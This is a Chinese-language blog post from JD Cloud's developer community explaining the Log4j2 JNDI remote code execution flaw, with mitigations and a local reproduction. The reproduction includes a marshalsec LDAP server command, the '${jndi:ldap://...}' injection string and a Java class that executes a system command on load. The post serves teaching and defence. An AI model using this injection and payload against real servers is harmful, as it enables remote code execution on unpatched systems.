您好!
欢迎来到京东云开发者社区
登录
首页
博文
课程
大赛
工具
用户中心
开源
首页
博文
课程
大赛
工具
开源
更多
用户中心
开发者社区
>
博文
>
让我们加班加点升级的Log4j2漏洞,到底是个啥?
分享
打开微信扫码分享
点击前往QQ分享
点击前往微博分享
点击复制链接
让我们加班加点升级的Log4j2漏洞,到底是个啥?
自猿其说Tech
2021-12-16
IP归属:未知
31640浏览
计算机编程
### 1 背景 这两天所有的软件公司都在忙着升级Log4j2的jar包,因为大家都在使用的Java日志组件Apache Log4j2,突然被发现了一个 0 Day 漏洞,通过此漏洞,可以在日志记录中远程执行代码(Remote Code Execution)。而且这个漏洞也非常容易被人利用,连Minecraft 游戏的PaperMC服务器都未能幸免。 ![](//img1.jcloudcs.com/developer.jdcloud.com/c984bfc8-6978-41af-80aa-de687678868820211216143609.png) ![](//img1.jcloudcs.com/developer.jdcloud.com/386d44ad-e18d-474d-a128-6599327c313c20211216143615.png) ### 2 漏洞内容 Apache Log4j2 <=2.14.1 在配置、日志消息和参数中使用的 JNDI 功能不能防止攻击者控制的 LDAP 和其他 JNDI 相关端点。当启用消息查找替换时,可以控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。从 log4j 2.15.0 开始,默认情况下已禁用此行为。 **相关的官方文档参考如下:** 1. https://logging.apache.org/log4j/2.x/security.html 1. https://github.com/advisories/GHSA-jfh8-c2jp-5v3q 1. https://avd.aliyun.com/detail?id=AVD-2021-920285 1. https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues ### 3 解决方案 发现这个问题后,阿里云也是及时公布了此漏洞的原因和具体方案: https://help.aliyun.com/noticelist/articleid/1060971232.html 简单来说就是升级log4j2版本到2.15.0即可。 或者来个紧急缓解措施: 1. 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true 1. 修改配置 log4j2.formatMsgNoLookups=True 1. 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true ### 4 名词解释 #### 4.1 JNDI JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。 JNDI主要有两部分组成:应用程序编程接口(API)和服务供应商接口(SPI)。 JNDI架构(图片来源于网络): ![](//img1.jcloudcs.com/developer.jdcloud.com/3126d5b9-1c7b-444f-accd-ae391aad46f720211216143745.png) NDI API提供了访问不同JNDI服务的一个标准的统一的实现,其具体实现可由不同的 ServiceProvider来完成。前面讲的为第一层JNDI API层,最下层为JNDI SPI API及其具体实现。它包括了几个增强和下面的命名/目录服务提供者: - LDAP(Lightweight Directory Access Protocol)服务提供者 - CORBA COS(Common Object Request Broker Architecture Common Object Services)命名服务提供者 - RMI(Java Remote Method Invocation)注册服务提供者 - DNS(Domain Name System)服务提供者 - FSSP(File System Service Provider)文件系统服务提供者 而JNDI的其中一个最典型的运用场景就是数据源: 简单来说,就是我们每一个系统中配置的数据源,都是JNDI的具体实现。在Tomcat 4.1.27之后,服务器增加了数据源的配置选项,直接可以在服务器上配置好数据源连接池。而J2EE服务器上保存了数据库的多个链接,可以通过DataSource找到具体的链接。而DataSource被绑定在了JNDI树上,客户端可以通过名字找到在这个JNDI数上绑定好的DataSource,进而可以通过DataSource找到一个链接。 #### 4.2 LDAP 轻量目录访问协议,英文全称是LIGHTWEIGHT DIRECTORY ACCESS PROTOCOL,一般都简称为LDAP。 参考官网:http://www.ldap.org.cn/ LDAP目录服务是由目录数据库和一套访问协议组成的系统。 LDAP的特点: 1. LDAP 是一种网络协议而不是数据库,而且LDAP的目录不是关系型的,没有RDBMS那么复杂, 1. LDAP不支持数据库的Transaction机制,纯粹的无状态、请求-响应的工作模式。 1. LDAP不能存储BLOB,LDAP的读写操作是非对称的,读非常方便,写比较麻烦, 1. LDAP支持复杂的查询过滤器(filter),可以完成很多类似数据库的查询功能。 1. LDAP使用树状结构,接近于公司组织结构、文件目录结构、域名结构等我们耳熟能详的东东。 LDAP使用简单、接口标准,并支持SSL访问。 LDAP服务搭建的页面长这样: ![](//img1.jcloudcs.com/developer.jdcloud.com/9387b7a2-9760-4f1a-ac41-ee958da4872320211216143900.png) 咋样,是不是很熟悉,你见到的mvn私服应该也是LDAP搭建的~~ ### 5 漏洞复现 为了在本地更方便的复现此漏洞,我们需要使用LDAP服务以及在本地开启我们的http服务器。 #### 5.1 利用python开启本地的http服务器 ```bash python -m http.server 8080 ``` ![](//img1.jcloudcs.com/developer.jdcloud.com/a442f5bb-ff4c-4271-96f3-87f4b7eaa3c320211216143945.png) 效果如下: ![](//img1.jcloudcs.com/developer.jdcloud.com/7b5cd14f-b68e-4d13-a9a8-5ad7eaab370020211216144004.png) 至此,我们的http服务器就开启好了。 #### 5.2 marshalsec 我们可以使用marshalsec来开启我们的LDAP服务。 GitHub项目主页:https://github.com/mbechler/marshalsec 这款神器,可以快速开启RMI和LDAP服务。当然你需要下载源码包,使用maven编译。下载完源码包之后,编译它: ```bash mvn clean package -Dmaven.test.skip=true ``` 进入你下载的marshalsec源码包中编译好的target路径启动ldap服务: ``` java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Exp" ``` 这一步完成后,我们就模拟成功我们有一个Exp的方法通过ldap服务暴露在服务器上了。 #### 5.3 漏洞复现 这种代码的输出我们都知道很简单,也很常用 ```java String str = "hello log4j2"; logger.info("value={}",str); ``` 输出: ![](//img1.jcloudcs.com/developer.jdcloud.com/4334bdb9-b02a-4f7e-b605-d5c129feb67720211216144125.png) 如果我们换成下面这种呢? ```java String str2 = "${java:version}"; logger.info("value2={}",str2); ``` 输出: ![](//img1.jcloudcs.com/developer.jdcloud.com/4d33cc85-f7e0-45b2-b96f-77eadfc6994920211216144352.png) 居然直接打印出了java的版本号! 突然是不是就明白了,这不就是sql注入嘛! 为什么呢? ![](//img1.jcloudcs.com/developer.jdcloud.com/b3e7fea8-65b9-4ece-ba8c-09e2ec77520820211216144238.png) log4j2官方文档lookup-Office Site:https://logging.apache.org/log4j/2.x/manual/lookups.html 这里非常清晰的说明了lookup主要功能就是提供一种方式把这些特殊值添加到日志里面,术语就是以最大化松散耦合的提供可配置属性供使用者以约定的格式进行调用。 官方文档往下翻: ![](//img1.jcloudcs.com/developer.jdcloud.com/acc73042-ad74-4453-9ed8-e95e5eb35f2920211216144308.png) 罪魁祸首来了!JNDI Lookup! 看到这里,你是不是就明白JNDI为什么是这次漏洞的主要问题了。 **那么,让我们来模拟调用我们刚启动的ladp服务吧:** ```java logger.error("${jndi:ldap://127.0.0.1:1389/Exp}"); ``` 输出: ![](//img1.jcloudcs.com/developer.jdcloud.com/02f834ab-8903-4611-9348-8fcc0c2f949420211216144154.png) **并且,我的计算器还弹了出来!** ![](//img1.jcloudcs.com/developer.jdcloud.com/cc983ffd-26a0-4ac5-a592-0a02bcc36f9220211216144443.png) 原因就是我调用的那段模拟黑客的代码: ```java /** * @auther SolidSnaker * @create 2021-12-14 23:28 * 部署在http服务器上的问题黑客代码 */ public class Exp { static { try { String[] cmd={"calc"}; System.out.println("-----我这是黑进了你的程序。。。。"); java.lang.Runtime.getRuntime().exec(cmd).waitFor(); }catch (Exception e){ e.printStackTrace(); } } } ``` 你看,我是不是想干什么就干什么了? 最可怕的是,如果黑客知道了你的外网服务打印的日志如何注入的,他可以在具体的注入字段内,进一步调用其他你服务器可以联通的其他ldap服务。 比如黑客通过你的外网服务,调用到黑客自己本身提供出来的ldap服务,那么黑客ldap服务的代码就可以不受限制的在你服务器上为所欲为。我的天,这简直不要太可怕。 #### 5.4 demo示例 ```java /** * Log4j2漏洞演示 * @author SolidSnaker * @date 2021-12-14 23:21 */ public class Log4j2Loophole { private static final Logger logger = LogManager.getLogger(Log4j2Loophole.class); /** * 错误演示的话,请记得修改pom中log4j2的版本为<version>2.14.1</version> */ public static void main(String[] args) { String str = "hello log4j2"; logger.info("value={}",str); String str2 = "${java:version}"; logger.info("value2={}",str2); } } ``` ```java /** * Log4j2漏洞演示2 * @author SolidSnaker * @date 2021-12-14 23:24 */ public class Log4j2LoopholeExp { private static final Logger logger = LogManager.getLogger(Log4j2LoopholeExp.class); /** * 错误演示的话,请记得修改pom中log4j2的版本为<version>2.14.1</version> */ public static void main(String[] args) { logger.error("${jndi:ldap://127.0.0.1:1389/Exp}"); System.out.println("-----end"); } } ``` ### 6 总结 虽然漏洞来的如此突然,我们修复的也轰轰烈烈,但我们的努力确实是有实实在在的效果,我们共同维护了我们京东所有服务的安全,为我们努力修复的工程师们,点赞! ------------ ###### 自猿其说Tech-京东物流技术发展部 ###### 作者:宋乐
原创文章,需联系作者,授权转载
上一篇:Log4j2远程执行代码漏洞本地重现及分析
下一篇:log4j2“核弹级”漏洞,你中招了吗
相关文章
Taro小程序跨端开发入门实战
Flutter For Web实践
配运基础数据缓存瘦身实践
自猿其说Tech
文章数
426
阅读量
2149964
作者其他文章
01
深入JDK中的Optional
本文将从Optional所解决的问题开始,逐层解剖,由浅入深,文中会出现Optioanl方法之间的对比,实践,误用情况分析,优缺点等。与大家一起,对这项Java8中的新特性,进行理解和深入。
01
Taro小程序跨端开发入门实战
为了让小程序开发更简单,更高效,我们采用 Taro 作为首选框架,我们将使用 Taro 的实践经验整理了出来,主要内容围绕着什么是 Taro,为什么用 Taro,以及 Taro 如何使用(正确使用的姿势),还有 Taro 背后的一些设计思想来进行展开,让大家能够对 Taro 有个完整的认识。
01
Flutter For Web实践
Flutter For Web 已经发布一年多时间,它的发布意味着我们可以真正地使用一套代码、一套资源部署整个大前端系统(包括:iOS、Android、Web)。渠道研发组经过一段时间的探索,使用Flutter For Web技术开发了移动端可视化编程平台—Flutter乐高,在这里希望和大家分享下使用Flutter For Web实践过程和踩坑实践
01
配运基础数据缓存瘦身实践
在基础数据的常规能力当中,数据的存取是最基础也是最重要的能力,为了整体提高数据的读取能力,缓存技术在基础数据的场景中得到了广泛的使用,下面会重点展示一下配运组近期针对数据缓存做的瘦身实践。
自猿其说Tech
文章数
426
阅读量
2149964
作者其他文章
01
深入JDK中的Optional
01
Taro小程序跨端开发入门实战
01
Flutter For Web实践
01
配运基础数据缓存瘦身实践
添加企业微信
获取1V1专业服务
扫码关注
京东云开发者公众号